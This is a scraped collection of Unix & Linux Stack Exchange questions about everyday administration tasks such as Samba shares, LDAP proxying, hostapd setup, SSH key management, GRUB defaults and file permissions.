uncoloured UTF‑8 text is fine with all three pagers, so that's not the characters encoding.


title: How to access shared locations on a windows machine from a linux machine via terminal?

text: I’ve setup a Virtual CentOS machine and set up a bridged network and static IP so that it can communicate with other Windows machines in the network. Currently, to access any shared directory, I navigate using the GUI. These are the steps I follow:   1. Click on Places > and click on Network Servers. This opens the Nautilus Manager to show network servers. (screenshot below)   2. Then I double click on windows network. This shows me all the available domains in the network.   3. I double click the required domain which chows me all the machines under that domain.   4. I double click the machine which prompts for authentication. (screenshot below screenshot =))   5. After filling up the required details, clicking connect shows me all the shared folders in that machine. Now I’d like to access this shared location from terminal; so that I can use ‘cd’ command or something like that (maybe 'ls') to navigate through the folders or see the files in the windows share directory. How do I do this? ![Network Servers in Nautilus](http://i.stack.imgur.com/aFPUz.png) ![Authentication Information](http://i.stack.imgur.com/Jc06z.png)


title: Protect folder from sudoers

text: Is there an ability to not allow sudoers view your folder (only you and root can access folder)?


title: Please explain the -f option in pgrep

text: man `pgrep` says the following about `-f` option:                  -f     The  pattern  is normally only matched against the process name.                   When -f is set, the full command line is used.      What does it mean to say the full command line is used?


title: Is it viable to have a file with 700 permissions?

text: I have been wondering about the following thing: Consider Pc A. Pc A has n users. There is a folder with one file per user. There is some sensitive information for each usere there, so you don't want anyone except the owner of the file to be able to read/write from it. (not even the sudo of the other users) What is the correct approach to achieve that ? What I have thought of is to set `chmod to 700`


title: Why is there no "Euro English" locale?

text: I used to use the somewhat whimsical `en_DK.UTF-8` locale when installing a new system because that would produce (roughly) the locale results I wanted, even though I am not in Denmark.   * Measurements metric   * Sensible date and time formats, but day and month names in English      * 24-hour time format     * Work week starts on Monday     * Numeric date in (something at least resembling) ISO format, yyyy-mm-dd     * Informal date is dd/mm, not the other way around   * A4 paper size   * Euro currency   * System messages in English Alas, Ubuntu and Debian no longer seem to support the `en_DK` locale. I have been thinking there should be something like `en_EU` for "Euro English". Every place I have worked has had this sort of requirement -- the official language of the organization is English, but we want continental European defaults for everything else. I am imagining I am not the first person to think that a "location agnostic" English locale would benefit both me personally and the organizations I work for. So why does it not exist, and where do I look for further discussions and rationale? ... Or should I go ahead and propose it? To whom?


title: Update only one package with pacman

text: Is there a way to update only selected programs in pacman? I'm running ArchLinux on my netbook, and the complete upgrade of my system takes up more temporary space than I have on my system, so I'd like to just update one program at a time


title: Mass update of /etc/ldap.secret

text: I have a group of servers authenticating against an LDAP server. I would like to be able to periodically update the /etc/ldap.secret file with an updated secret. I've written a small script that reads a list of hosts in from a file and uses SSH to update all the servers but I keep getting a nagging feeling that there must be a better tool or method.


title: Batch copy and rename with regexp

text: I am wondering whether there is a way how to copy and rename a bunch of files without scripting. I have files with names like `prefix_12345678901_12345678901_suffix.ext` and I need to copy all of them into a given directory such that the copies are named like `1234567890_1234567890.ext` I also do not want to overwrite existing files in the target directory. I know I could do something like:               cp -n source/*.ext target      followed by               rename 's/.*([0-9]{11}_[0-9]{11}).*\.(.*$)/$1.$2/' *.ext      but this would make copies first and only then figured out whether the files already exist or not. I need sort of a reversed process... EDIT: Well, I guess this is scripting, but I finally suceeded with something like:               for i in /source/*.ext; do if [[ "$i" =~ [0-9]{11}_[0-9]{11} ]]; then cp $i /target/${BASH_REMATCH[0]}.ext; fi done;


title: Are there any MathType clones for Open/Libre - Office?

text: Are there any OpenOffice.org/LibreOffice equation editor/makers, similar to MathType?


title: firefox multiple profiles

text: I have two instances of firefox running under separate profiles:               $ firefox -P default &     ...     $ firefox -no-remote -P second &      Now I can open a new tab from the command line with:               $ firefox -new-tab http://unix.stackexchange.com      But how do I open a new tab in the second profile? This:               $ firefox -P second -new-tab http://unix.stackexchange.com      opens a tab in the default profile, while:               $ firefox -no-remote -P second -new-tab http://unix.stackexchange.com      complains that there is already an instance running under that profile.


title: LDAP : one suffix : search multiple separate Active Directory

text: I have configured an OpenLDAP 2.4.23 as a proxy to multiple separate Active Directory, it works fine when each AD as a different suffix/search base. I have an use case to fullfil : one application server is only able to check ONE LDAP server and it allows only to check ONE search base, and the users are in several seperate Active Directory. So I would like to configure OpenLDAP (or any other free directory) to work as a proxy and it should try each Active Directory to find is the user exists there, if not check the next Active Directory. I have an unique key for each user (so no problem with duplicate). I have already tried :   * to set multiple databases with the same suffix but openldap is not happy with that config   * to use meta (but the search base cannot be the same for two entries) If you have any idea how to proceed I would be grateful.


title: Mount home partition on user login

text: I got a VPS with a user dedicated to store my files. As i am aware of the current situation with the NSA and many other governments, and my VPS is hosted on a doubtful country i would like to ensure my privacy (not that i have any top-secret file, or anything similar). I am thinking of making the home folder of my user a truecrypt file, which would be mounted after a successful user login. Is it possible? And can the SSH login also prompt for the password to mount the file after login and before shell access? Something like: "insert user@host password:" and then "insert home folder password:" before shell access. If wrong it would start the working directory somewhere else, like on fs root. Can it be done?


title: How to restore /sysroot on Fedora 20

text: I can't boot my Fedora 20 system as usual. Upon boot I get the message               Entering emergency mode. Exit the shell to continue.      journalctl reveals the following:               systemd[1]: Starting Switch Root...     systemd[1]: Not switching root: /sysroot does not seem to be an OS tree. /etc/os-release is missing.     systemctl[391]: Failed to issue method call: Invalid argument     systemd[1]: initrd-switch-root.service: main process exited, code=exited, status=1/FAILURE     systemd[1]: Failed to start Switch Root.     systemd[1]: Startup finished in ...      I ran fsck on /dev/mapper/fedora-root, which appeared to direct a lot of stuff to /lost+found. It's now clean, apparently. ls / (from emergency mode) gives:               bin dev dracut-state.sh etc init lib lib64 proc root run sbin shutdown sys sysroot tmp usr var      I can ls each of these directories, but they appear much smaller than usual and lack stuff I know was there. Is this a consequence of emergency mode or a corrupted file system? My direct question is: how do I restore /sysroot and /etc/os-release? However, I'm worried that this isn't the only damage, and that when this is fixed more problems will be revealed, so my secondary question is: how do I detect and fix any further problems that might have been caused? I do not have a backup of these (I've just discovered that I'm stupidly only backing up /home, when I thought I was backing up everything). Background to the problem: I dual boot Windows and Fedora 20 on separate hard disks. /dev/sda and /dev/sdb both contain NTFS partitions for Windows. /dev/sdc is and SSD for /boot and everything except /home; /home is on /dev/md127. Everything was working fine, I booted into Windows for the first time in quite a while to use some Windows software, then booted back into Linux and had this problem. I've done this many times before in the past, so not sure whether or not this is the cause of the issue. /dev/sdc2 (where the OS resides) is an LVM partition. Please tell me if I can be any more specific, if I can provide any more information that is relevant, or if there are any additional diagnostics I can run. Thank you!


title: Debian access point is detected, but provides no Internet access

text: I am use Debian sid. I want to share my network (ppp0) via AP (Access Point) to my mobile device. This is my configuration. `/etc/hostapd/hostapd.conf` :               # WiFi Hotspot     interface=wlan0     driver=nl80211     #Access Point     ssid=PERSIB_nu_AING     hw_mode=g     # WiFi Channel:     channel=1     macaddr_acl=0     auth_algs=1     ignore_broadcast_ssid=0     wpa=3     wpa_passphrase=anggabaedeuh     wpa_key_mgmt=WPA-PSK     wpa_pairwise=TKIP     rsn_pairwise=CCMP      `/etc/dhcp/dhcpd.conf` :               option domain-name-servers 208.67.222.222, 208.67.220.220;     default-lease-time 600;     max-lease-time 7200;     ddns-update-style none; ddns-updates off;     subnet 192.168.0.0 netmask 255.255.255.0 {             range 192.168.0.200 192.168.0.229;             option subnet-mask 255.255.255.0;             option broadcast-address 192.168.0.255;             option routers 192.168.0.1;     }      and here my other config for calling AP :                iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE     echo "1" > /proc/sys/net/ipv4/ip_forward     ifconfig wlan0 192.168.0.1     hostapd -dd /etc/hostapd/hostapd.conf      In my mobile device, the SSID is detected. but when I try to access the Internet, I can't connect. What's wrong with my configuration? On my PC, I also installed Slackware-current and Ubuntu 12.04, and configured them in the same way, and it worked.               #uname -a     Linux angga.id 3.11-2-686-pae #1 SMP Debian 3.11.10-1 (2013-12-04) i686 GNU/Linux


title: How to redirect/forward between a tun/tap device and a socket using linux tools?

text: I have a socks5 proxy that is bind to eth0. It opens two ports, Port1 is used to connect to remote (for example a http server), Port2 is to listen for clients to connect. Then I created a tun device. And set routing table to make all data go through the tun device. Now is my question, how to link the tun device and Port2? So all data will actually go through the socks5 proxy? I have found tun2socks that could do this. But still, I am wondering if there is other ways like using iptables to archive that.


title: Compare an old file and new file, but ignore lines which only exist in new file?

text: I have two files:   1. `oldlist` - This contains a list of files and a md5 hash for each file. This was generated one year ago.   2. `newlist` - This also contains a list of files and a md5 hash for each file. However, some files have been changed (e.g. their md5 hash is different) and some new files have been added. I would like to see all differences between `oldlist` and `newlist`, but I want to ignore any files which don't exist in `oldlist`. That is, I don't care about new files. I only want to compare the md5 hashes for each old file, so that I can see if any files have changed within the last year. I have tried diff and comm, but have not found a solution yet.


title: How can I log all activity in a terminal window?

text: Ubuntu 10.04/GNOME "classic". How can I log all my "gnome-terminal-related" things? I mean ex.: I open up 2 gnome-terminal window and ssh to two different servers with them, work a couple of hours, then I close the gnome-terminal's window, then I need these two log files ex.:               logfile-2011-09-08-10-00-02.txt     logfile-2011-09-08-10-00-04.txt      So I need each of my GNOME-terminals to be fully logged. So e.g.: when did I gived out a command on a server, etc. Are there any good methods to fully log a terminal session? Are there any solutions to log menus, eg.: "smitty" from client side?


title: How can I test if a program is running from within a script

text: Let's assume that another user started a bunzip process, and I have a script that I'd like to start running after that bunzip finishes. What's the best way to check from inside my script that the bunzip process has finished? A call to `ps` with the pid specified? A pgrep bunzip? Assume that I will throw my script into a crontab that checks every 5 minutes to see if it can run. Also assume that I don't want to stop the bunzip, as it's been running for over an hour and will likely take another hour to complete. My first reaction would be to use something like               if `ps -p 12938`         # bunzip is done, execute the code     fi          # exit      But, I'm wondering if there is a better way. Also, I'm not sure how cross-unix ps -pid is.


title: Is MSN chat encrypted or not? If not how can I make it encrypted?

text: How can I force pidgin to use only encrypted connections when using MSN chat? I'm on Ubuntu 10.04


title: How many XUSER's

text: I'm working on a script an I need to show how many people are logged into XServer. It was suggested that I look at the last part of the who command (N:N):                user1  tty7         2013-10-10 12:14 (:0)      I'm trying to find information on this an having trouble finding it. Any info would be appreciated. Thanks.


title: Advice for managing SSH keys

text: _What is the best practice you have found for managing lots of SSH keypairs?_ I use SSH to connect to several systems, both at home and at work. I currently have a fairly small, manageable collection of keypairs for both work and home systems. I have a script that generates a named keypair so I can avoid confusion. My home network is comprised of my laptop (ubuntu), two desktops (ubuntu/fedora dual boot, fedora/windows dual boot), and a media system (ubuntu). At work I have my personal laptop (which I use for working from home), my desktop (fedora), a production system (RHEL), and an a laptop with windows (sigh) and a VM (fedora). All good so far. _(I have no interest in either putting my home keypair on my work system, or my work keypair on my home systems. And we have virtual user accounts to mechanize file transfers with other systems, where the private key must reside on the production machine, to transfer files between other systems.)_ But now comes Hadoop, a large cluster of 100+ systems, and with that more complexity, more users, and more keypairs. Now I need to manage keys. _(I need to clarify. I am a software developer consulting to a client who is deploying a Hadoop cluster. They need to manage keys. There will be many folks accessing the cluster, needing to place their public keys onto the system. As the resident Linux savant, they asked me for help. I advised hiring a system admin, but until they do, I am helping)_ When I need to publish the public key to a remote system, all of the 'how-to' web pages suggest either overwrite (>) (destroying existing keys), or append (>>) (which is good, preserves existing keys). But I would think preserving each public key on the destination machine separately, and combining them would be better. I am looking for advice. What is the best practice you have found for managing lots of keys? Thank you! * * * _Edit: One aspect is needing to place keys on lots of systems, and the concomitant CRUD (create, read, update, delete/disable) for specific users, which means needing to be able to identify which keys belong to which users._


title: Using prelink on manually loaded libraries? (like Java native libraries)

text: As far as I can tell, prelink can only works with dynamic libraries which an executable declares it needs at compile time (the libraries that can be found with ldd). It doesn't seem to include dynamic libraries which are manually loaded by the executable, like plugins or (in my particular case) Java native libraries. Is there any way to force prelink to cover these sort of libraries?


title: Solaris/OpenIndiana: Good documentation for permission-mechanism - roles, profiles and auths?

text: Are there any good documentation, HOWTOs or books (preferably free and online) describing the permission-mechanism for Solaris/OpenIndiana? How `auths`, `profiles`, `roles`, `projects`, `groups` and `users` relate to each other... how to use the mechanism optimally... and what exactly the various named `auths`, `profiles` and `roles` actually are allowed to do, and what users should be assigned them and why?


title: How to find process bind to network interface

text: I have two Hadoop processes (with web UI interface) running on a CentOS 5.3 machine inside a VirtualBox. I cannot access both interfaces from my host machine via port forwarding. Either first or second is not working and I cannot make both of them work concurrently. Both processes are configured via guest hostname - master. One web UI I can access via master:8088 or guest machine IP - 10.0.2.15:8088 but the second one I can access only via loacalhost:50070 I can make it work by modifying machine's `/etc/hosts` file:               127.0.0.1  localhost master      But obviously the second one stops working. I have several questions:   1. Is there a way how to make both working?   2. Is it possible to find a network interface the process is bind to?   3. What is the relation between hostname and network interface?   4. Is it automatic that when I access on a guest machine master:8088 it gets translated to 12.0.2.15:8088? To me it seems that I have to have a host entry which maps those two together. Am I right? (I do not consider DHCP). I tried to use `ifconfig` & `netstat` commands but that doesn't answer my questions so it would be great to clarify those.


title: what is it that clobbers my letters together in gedit?

text: sometimes after I've been editing a textfile in gedit the letters clobber together like this: ![enter image description here](http://i.stack.imgur.com/DVXW4.png) what is it that does that and how can i stop it from happening?


title: Xubuntu: Restoring the notifcation area in xfce4

text: While playing with xfce4 (on Xubuntu) I accidentally removed the notification area which is placed by default in the right of the top panel. Is there a way to restore it back to it's original state without diving into the process of adding, placing and adjusting icons? **EDIT** Actually, I'm looking for restoring the notification area to it's **default original state** by restoring its state "meta data" stored in the my /home directory, how can I accomplish that with the command line? Where should I go and what should I restore? Thanks


title: How to automatically launch a lxc container on ssh connection?

text: I'm attempting to setup a system that automatically creates a new sandbox on a ssh login to use as a temporary jump box into my server. So to do this I was wonder how to setup lxc to spin up a new shell in the container once there is a ssh connection then destroy that container after the session is closed. What would be the best way to go about this? EDIT: Thanks to everyone that has placed their input. I have been able to devise the method to do this same setup as follows: /etc/ssh/sshd_config: `match group ssh forceCommand sudo docker run --rm -t -i busybox /bin/sh` What this does is forces the user session to instantly go into a busybox container then delete the changes on exit. One could change or create their own image and specify this in place of busybox. Though this is included here since the only thing the default busybox container offers is wget and telnet which is good enough for most OOB testing/jump-boxes and this was the use case goal with this design.


title: Vim: word wrap for documents

text: Whats the best way to do word wrapping for a document in `vim`?   I'd like have each line wrap at 80 characters, not just visually wrap but enter a newline. I got this kind of working by using               :set wrap     :set linebreak      But if I go back and insert text on a previous line, it doesn't adjust the rest of the paragraph. It takes the overflow text and puts it on a newline, but the line that comes after doesn't get moved up to fill in the gap. So if I edit a previous line, my paragraph can look like this               A line that is 80 characters long     short line     A line that is 80 characters lone      I want it to be like this:               A line that is 80 characters long     short line A line that is 80     characters long


title: CentOS command issue

text: This is what I am trying to run in VMware using CentOS 5               /pwnat: invalid option -- p     usage: ./pwnat <-s | -c> <args>       -c    client mode (default)             <args>: [local ip] <local port> <proxy host> [proxy port (def:2222)] <remote host> <remote port>       -s    server mode             <args>: [local ip] [proxy port (def:2222)] [[allowed host]:[allowed port] ...]       -6    use IPv6       -v    show debug output (up to 2)       -h    show this help and exit     ./pwnat -c 3.3.3.3 -p 4444 --proxyhost IP 3.3.3.4 -proxyport 2222 --remotehost IP 8.8.8.8 --remoteport 4444     resulting in this reply      invalid option -- p


title: Shell Script for going through a dir recursively and chmodding based on conditions of file type

text: Can anyone point me to either code or a tutorial for writing a shell script that can recursively go through an entire directory structure (starting at the current working directory, or given an required argument of where to start at) and can:   1. Determine whether an item is a directory, and if it is, `chmod 755` it, or...   2. Determine whether an item is a file (not a dir), and `chmod 644` it. I'm looking for compatibility with Ubuntu, Debian, RHEL-Based, etc., so I'm not tagging this with any particular language. I'd like this in Bash, but if you have a ZSH script, that will work also.


title: How does pre-boot authentication with disk encryption work technically?

text: I'm looking for a solution to fully encrypt my dual-boot SSD drive (it's still new and empty, and I want to set up encryption before I put anything on it). While there's a lot of chaos on the web regarding that question, it appears that TrueCrypt might be able to do this, although I might need its boot loader on an extra boot disk. From what I'm reading, some Linux tools (including some modified GRUB2) might also be able to do that. However, I have my doubts, and no article I read really went in deep enough to answer a basic question: if the whole disk is encrypted, and some pre-boot tool asks the user for a key to decrypt it, doesn't that mean this tool has to run beneath the OS that's going to boot? In other words, are there tools that leave the OS unaware of the fact that the disks it sees are actually encrypted? If there's no such tool, doesn't that mean the decryption tool somehow has to pass decryption information to the OS on boot? I can imagine that this would be hard to do cross-platform.


title: How to delete a directory from terminal?

text: I'm trying to delete a directory after a series of events take place. That being said, I need to be able to place this in a file to execute once said events take place.


title: Chown permission denied on owned dir

text: I have following directory (`/usr/local`)               rwxr-xr-x. 43 root root  4096 Jul 25 14:19 .     rwxr-xr-x. 14 root root  4096 Feb 21 10:27 ..     rwxr-xr-x.  2 root root  4096 Jun 28  2011 bin     [...]     rwxr-xr-x   1 root root  8192 Jul 25 13:41 bad_dir     rwxr-xr-x.  4 root root  4096 Mar 28 11:56 good_dir      I am logged as root. When I run `chown root:root good_dir` everything is ok, but when I run `chown root:root bad_dir` I got `chown: changing ownership of '/usr/local/bad_dir': Permission denied` What is wrong with bad_dir? What should I change to make `chown` working correctly? I see a dot in the end of permissions, but I don't know what does it mean. **Update** Running               echo 0 > /selinux/enforce     chmod 755 bad_dir      gives also `chmod: changing permissions of 'bad_dir': Permission denied` **Update 2** Output of `ls -la /usr` is               total 128     drwxr-xr-x.  14 root root  4096 Feb 21 10:27 .     dr-xr-xr-x.  24 root root  4096 May 28 08:22 ..     dr-xr-xr-x.   2 root root 28672 Jun 27 10:29 bin     drwxr-xr-x.   2 root root  4096 Jun 28  2011 etc     drwxr-xr-x.   2 root root  4096 Jun 28  2011 games     drwxr-xr-x.  36 root root  4096 Jul 23 14:04 include     dr-xr-xr-x.  12 root root  4096 Apr 11 17:10 lib     dr-xr-xr-x.  45 root root 36864 Jul 23 14:04 lib64     drwxr-xr-x.  14 root root  4096 Mar 28 11:58 libexec     drwxr-xr-x.  43 root root  4096 Jul 25 14:34 local     drwxr-xr-x.   3 root root  4096 Feb 21 10:27 man     dr-xr-xr-x.   2 root root 12288 Jul 23 14:04 sbin     drwxr-xr-x. 106 root root  4096 Mar 28 12:00 share     drwxr-xr-x.   4 root root  4096 Nov 20  2013 src     lrwxrwxrwx.   1 root root    10 Nov 20  2013 tmp -> ../var/tmp


title: Overwrote Windows with Linux, how can I recover data?

text: While installing Ubuntu 11.10 (ext4) I accidentally chose a wrong partition and it overwrote my Windows 2003 installation (ntfs). How can I recover files? So far I tried photoRec and it recovered some. Testdisk refuses to recover the entire partition, perhaps because it would have to recover a partition it is running from. Should I try making a liveCD "rescue disk" and run `testdisk` from there? Is there any software that could help me? Or should I install Windows again on another partition and try recovery with some Windows software?


title: Dealing with script interruption

text: I need to iterate over between 120k and 500k files. `find` handles this well.               find $PWD -type f -path "fragments/*.pdbqt"      For some reason I want to list the same set of files again, in the same order. I don't mind if the list is sorted alpha-numerically or by `fstat` calls or whatever. Using `sort` is not an option because it needs to know the full `find` output before proceeding, slowing down the script execution. Do you know some way to accomplish this? **Update.** I described my problem poorly. While my script is processing this large number of files, a light outage might occur, and the UPS could go down. My script should continue from where it left off. How can I process the remaining files?


title: What are the user interface subsystems, their components and responsibilities?

text: I am trying to understand the different subsystems that are in charge of the user interface, the terminology to refer to them, and how they are structured; so far I know there are: At the top level: _desktops_? (kde, gnome, etc) Then we have:   * a display manager (also called desktop manager or desktop environment)   * window manager   * anything else? I'm making this a community wiki, I'd like this to be a central place for *all there is to know (from the user perspective) regarding user interface subsystems in Linux; what I would like to know is what are the components of each, and what are the responsibilities of each, i.e. I would like to know things like:   * what exactly is in charge of the global shortcut keys, when I open up the "run application" dialog, who is doing that, when I press a key to show the desktop, run a terminal, maximize a window, etc, who is capturing that and sending it over to the right window;   * who is in charge of drawing the desktop, the workspaces, etc.   * what are the environment variables that can give me information regarding these components   * Is the "main menu" a subsystem, or a component of a subsystem? It would also be nice to compile a list of the most popular desktops/subsystems, which ones run under each, can you mix and match desktops/desktop environments/window managers, etc? Finally, how do I tell which desktop/subsystems are actually running (active?) on the system, can different users have a different subsystem each?


title: How to find information about the system/machine in Unix?

text: I have always found it difficult to find information about the system itself in Unix, whether it be   * Which OS I am using (version number and all, to compare it with the latest available builds)?   * Which Desktop Environment am I using? If I am using KDE, most of the programs begin with a K and I can say I am using KDE, but there should be some way to query this, say from a script.   * Which kernel version am I using? (For example, I am using Fedora, and I want to know what Linux kernel version I am using) Basically, what I miss is a single point/utility that can get all this information for me. Most of the times the solutions to the above would themselves be OS specific. Then, you are stuck.


title: destination IP mangle table

text: I have machine with 2 interfaces:               eth1 connected to internet (ip xx.xx.xx.xx)     eth0 connected to my laptop (ip yy.yy.yy.yy)      I add those lines to the firewall file in order to manage the bandwidth               iptables -t mangle -N TRAFFICSHAPING 2> /dev/null     iptables -t mangle -A PREROUTING -i eth0 -d ! yy.yy.yy.yy -j TRAFFICSHAPING     iptables -t mangle -A PREROUTING -i eth0 -p tcp -d yy.yy.yy.yy --dport 3128 -j TRAFFICSHAPING     iptables -t mangle -A OUTPUT -o eth0 -p tcp -s yy.yy.yy.yy --sport 3128 -j TRAFFICSHAPING     iptables -t mangle -A FORWARD -j TRAFFICSHAPING.      in this way I control the bandwidth for all the website. What do I do need to do if I want to control a specific website? For example: if the user try to download from 4shared.com he will get 400Kb/s , and get full speed for the rest.


title: What does the errors=continue mount option mean?

text: On the output of the mount command on my system there are some lines like the following:               /dev/sda2 on /var/log type ext3 (rw,relatime,errors=continue,barrier=1,data=ordered)      And inside the parenthesis as you can see it says `errors=continue`. What does this mean? Is there any error on the sda2 partition? Shall i consider this or can I just ignore it?


title: Next day of the user entered date - date +1 day

text: I am new to scripting I needed a script in the AIX environment to get the next days date based on the date entered by the user of the script. After hard time browsing for this I got a piece of code which does the reverse of the goal which i had to achieve. It gets me one day before(Yesterday's) the date entered by the user. The code is as below               #!/bin/ksh     echo "Enter the date (YYYY/MM/DD):"     read date     YEAR=`echo $date | cut -d"/" -f1`     MONTH=`echo $date | cut -d"/" -f2`     DAY=`echo $date | cut -d"/" -f3`     DAY=`expr "$DAY" - 1`     case "$DAY" in     0)     MONTH=`expr "$MONTH" - 1`     case "$MONTH" in     0)     MONTH=12     YEAR=`expr "$YEAR" - 1`     ;;     esac     DAY=`cal $MONTH $YEAR | grep . | fmt -1 | tail -1`     esac     echo "Yesterday's Date is $YEAR/$MONTH/$DAY"      Can some one please help to me acheive this. That is to get the next day of the user entered date. Desired Output:               Enter the date (YYYY/MM/DD): 2013/09/30          Tomorrow's Date is 2013/10/1


title: Compiling Wine 1.7.1 from git in Gentoo

text: Trying to compile Wine 1.7.1 with the great new D3D and Opengl patches. I proceed like this : 1-Download the GIT source code from here : https://github.com/tpruzina/wine-1.7.1-d3dstream_patches-gentoo_compat_patches 2-Run the script the author made to build both 32 bit and 64 bit libs, wich is basically create 2 directories one for each arch and configure / make 3- The configure goes kind of well for what I see but then the make crashes badly here :               make[1]: Leaving directory `/home/cf/Downloads/wine-1.7.1-d3dstream_patches-gentoo_compat_patches-master/wine64/dlls/dxguid'     make: *** No rule to make target `dlls/ntoskrnl.exe/ntoskrnl.exe.spec', needed by `dlls/ntoskrnl.exe/libntoskrnl.exe.def'.  Stop.      Full configure and make logs here : http://pastebin.com/vRZpUVH1 Thank you !


title: FTP error 553could not create file in RHEL

text: We need to transfer a file from local machine to remote machine. Remote machines settings is as below:               [540607@hsldevoradb ~]$ su - Saphr002     Password:     [Saphr002@hsldevoradb ~]$ pwd     /odi/CSV/in     [Saphr002@hsldevoradb ~]$ ls -ld /odi/CSV/in     drwxrwxr-x. 2 oraedw oedw 4096 Oct 28 18:33 /odi/CSV/in     [Saphr002@hsldevoradb ~]$ groups     Saphr002 oedw     [Saphr002@hsldevoradb ~]$ touch a     [Saphr002@hsldevoradb ~]$ ls     a      Here `/odi/CSV/in` is the home directory for the user Saphr002. There is full permission for the directory `/odi/CSV/in` to the user Saphr002 and we are able to create a file inside that directory remotely. But Whenever we try to transfer file from `ftp`, it will throw "553 could not create file" error.               C:\Users\osprbs01>ftp 192.168.5.52     Connected to 192.168.5.52.     220 (vsFTPd 2.2.2)     User (192.168.5.52:(none)): Saphr002     331 Please specify the password.     Password:     230 Login successful.          ftp> put test.csv.odt     200 PORT command successful. Consider using PASV.     553 Could not create file.     ftp>      Kindly help to transfer the file through `ftp`.


title: How to install much newer mpt2sas driver version in debian squeeze?

text: Linux debian squeeze 6.0.6 (2.6.32-5-amd64) is supplied with quite an old 02.100.03.00 version of the mpt2sas driver. I do wish to install a much **newer mpt2sas driver version**. In know there are backported kernel versions available, like bpo.3 and bpo.4. Those backports both contain version 10 of the mpt2sas driver. The mpt2sas.ko module is already blacklisted from being loaded during boot, with:               $ echo 'blacklist mpt2sas' >> /etc/modprobe.d/mpt2sas.conf; depmod; update-initramfs -u -k $(uname -r)      For this mpt2sas driver are precompiled binaries available in rpm format for RHEL5 and SLES10, and there is source code available. How can a newer much mpt2sas driver be installed in debian?


title: Create and control start up scripts in BusyBox

text: I have compiled a custom linux kernel in BusyBox. BusyBox `init` does not support runlevels. When the kernel boots up in BusyBox, it first executes `init` which looks for the specified runlevel in `/etc/inittab`. BusyBox `init` works just fine without `/etc/inittab`. When no `inittab` is found it has the following behavior:               ::sysinit:/etc/init.d/rcS      This part is very clear to me, but I would like to know how to manage daemons that start up networking, create serial ports, or start `java` processes. I have looked in the scripts that reside in `/etc/init.d/` but I don't understand how to manage them. I am looking for a good tutorial or solution to control these services myself without an automated tool like `buildroot`. I want to understand how these scripts work and how to create devices in `/dev/` (right now I only have `console` and `ttyAM0`).


title: Stop browser window from switching workspace and getting focus when opening a link?

text: (I just switched from Gnome 2 to Xfce 4, so I have still to find my way around how Xfce works.) Iceweasel is opened on Workspace 1, Icedove is opened on Workspace 2. I click at a link in Icedove, which opens a tab in Iceweasel. Great, **but** : _Iceweasel_ moves to Workspace 2 and gets focus. Can I configure it so that windows always stay on their workspace, no matter if other application interact with them? And that the focus doesn’t get changed? On Gnome 2, Iceweasel stayed on Workspace 1, but it was highlighted/blinking in the taskbar of Workspace 2 (instead of being focused). I’d like to have that (or a similar) behaviour in Xfce, too.


title: How to update font path?

text: I am using OpenBSD 5.5 and have just installed a package named xpdf The installation completed with the following message:               You may wish to update your font path for /usr/local/share/ghostscript/fonts      What exactly do I need to do?


title: How to change partition UUID (2 same UUID)?

text: I have a fedora guest OS in VMware. I want to expand `/boot` partition, so I add another virtual disk to this VM, and try to clone the disk. After `dd if=/dev/sda1 of=/dev/sdb1`, `blkid` report that **/dev/sda1** and **/dev/sdb1** have same UUID/GUID. It's weird that there're 2 same UUIDs in the universe, how to change one of them to another UUID value?


title: Forcing sudo to prompt for a password

text: If I do the following:               sudo su -     //enter password     exit     exit     //login again straight away     sudo su -      The second invocation of sudo does not request a password because even though I have logged out again, I am still within some time limit meaning that I do not need to be prompted for my password again. Because I am trying out some new privs to make sure they work, this is really slowing me down while I wait for the timeout to happen. Is there a command I can run to reset the timeout? I don't want to change the timeout or affect other users, by the way!


title: Using KDE in Debian Squeeze

text: I just installed Debian Squeeze and it defaulted to the gnome desktop environment. I have installed KDE via the package manager but do not know how to set it as the default environment. Any help would be appreciated.


title: How do I change the GRUB default boot?

text: I'm trying to configure grub on my computer. I use the dual boot with Windows and Ubuntu. The grub always suggest with a countdown from 10 seconds to boot the Ubuntu. However, I do not want to be that way because other people in my home also use the computer and do not have much affinity with Linux. I wonder if there is a way to set Windows as the main option. I found these commands but I could not move much:               ~$ grub-     grub-bios-setup       grub-mkconfig         grub-mkstandalone     grub-editenv          grub-mkdevicemap      grub-mount     grub-file             grub-mkfont           grub-ntldr-img     grub-fstest           grub-mkimage          grub-probe     grub-glue-efi         grub-mklayout         grub-reboot     grub-install          grub-mknetdir         grub-render-label     grub-kbdcomp          grub-mkpasswd-pbkdf2  grub-script-check     grub-macbless         grub-mkrelpath        grub-set-default     grub-menulst2cfg      grub-mkrescue         grub-syslinux2cfg      Could you help me?


How to get the network status (online/offline) and attribute it to a variable in shell script?


title: How do I prevent expansion when I use a pattern as argument to a script?

text: I need a very simple script which does this:               mogrify -resize $1x$2^ -gravity center -crop $1x$2+0+0 $3      so that I can call it in this way:               cropresize.sh 110 110 *.png      the problem is that the shell expands the `*.png` pattern instead of passing it as it is to the script. How can I achieve this (script, alias or any other equivalent solution is fine)?


title: TAR: better to skip directory or use split

text: I've got a file.tar.gz that I create and backup to Amazon S3. It's gotten bigger than Amazon's limits and thus has not been backing up. This is my current command:               tar -cpzf file.tar.gz directory/      Is it better, with TAR's --exclude functionality to skip a directory where the bulk of files live or TAR and Gzip the entire directory and then use something like 'split' to break it up into smaller chunks?


title: How to find files compared to the time of a specific file

text: How can I search for files that were modified or changed 5 minutes before and 5 minutes after, a certain file. I have tried               mint@mint ~/Desktop $ touch -t 201210101315 /tmp/timestamp     mint@mint ~/Desktop $ sudo find . ~ -cmin -5 | xargs ls -l      to create a temp file with that time stamp and search for files changed within 5 minutes but I'm only getting files changed 5 minutes within current time. What is the simplest way?


title: Which filesystem to use when a samba share should allow for NTFS encryption?

text: I'm using a NAS (Buffalo LinkStation Pro with SSH access, if that matters) which runs Linux (`2.6.31.8 #1 Fri Jun 8 11:07:30 JST 2012 armv5tel GNU/Linux`, with `smbd --version` = `Version 3.0.30-1.4.osstech`), while all clients run Windows 7. Currently, the shares are on a xfs partition. How can samba be modified such that the share behaves like an NTFS share to the clients, i.e. allowing for encryption? Or do I need to reformat the partition as an NTFS drive (or more likely, use a loop-mounted NTFS file)?


title: How to make ghostscript not wipe PDF metadata

text: Ghostscript wipes the PDF metadata like `author, title, subject` etc. How can I tell ghostscript not to touch the metadata? I invoke it as follows:               gs \       -dBATCH                    \       -dNOPAUSE                  \       -sOutputFile=<output_file> \       -sDEVICE=pdfwrite          \       -dPDFSETTINGS=/ebook       \       <input_file>


title: Difference between route cache and neighbor table

